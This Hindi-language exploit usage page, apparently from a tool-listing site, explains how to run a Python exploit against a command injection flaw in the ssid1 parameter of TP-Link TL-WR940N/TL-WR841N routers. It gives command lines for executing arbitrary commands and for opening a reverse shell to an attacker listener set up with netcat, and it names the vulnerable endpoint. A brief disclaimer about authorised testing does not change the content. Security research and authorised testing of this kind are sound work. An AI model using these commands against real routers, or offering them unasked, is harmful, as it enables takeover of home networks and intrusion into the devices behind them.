TP-Link TL-WR940N/TL-WR841N कमांड इंजेक्शन कमजोरी के लिए Python Exploit

उपयोग निर्देश

1. बुनियादी कमजोरी जांच:

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin
   

2. कस्टम कमांड निष्पादित करें:

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin -c "your_command_here"
   

3. रिवर्स शेल (पहले nc -lvnp 4444 से लिस्टनर सेट करें):

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin --lhost YOUR_IP --lport 4444
   

महत्वपूर्ण नोट्स:

• ये स्क्रिप्ट केवल शैक्षिक और परीक्षण उद्देश्यों के लिए हैं
• किसी भी सिस्टम का परीक्षण करने से पहले हमेशा उचित अधिकार प्राप्त करें
• रीबूट कमांड को डिफ़ॉल्ट के रूप में उपयोग किया जाता है क्योंकि यह गैर-विनाशकारी और आसानी से सत्यापित करने योग्य है
• रिवर्स शेल सभी फर्मवेयर संस्करणों पर काम नहीं कर सकता क्योंकि यह उपलब्ध बाइनरी पर निर्भर करता है
• कुछ फर्मवेयर संस्करणों में URL में एक यादृच्छिक पथ की आवश्यकता होती है जिसे स्क्रिप्ट स्वचालित रूप से पहचानने का प्रयास करती है

यह कमजोरी /userRpm/WlanNetworkRpm.htm एंडपॉइंट के ssid1 पैरामीटर में अनुचित इनपुट स्वच्छता के कारण मौजूद है, जो विशेष रूप से तैयार किए गए अनुरोधों के माध्यम से कमांड इंजेक्शन की अनुमति देती है।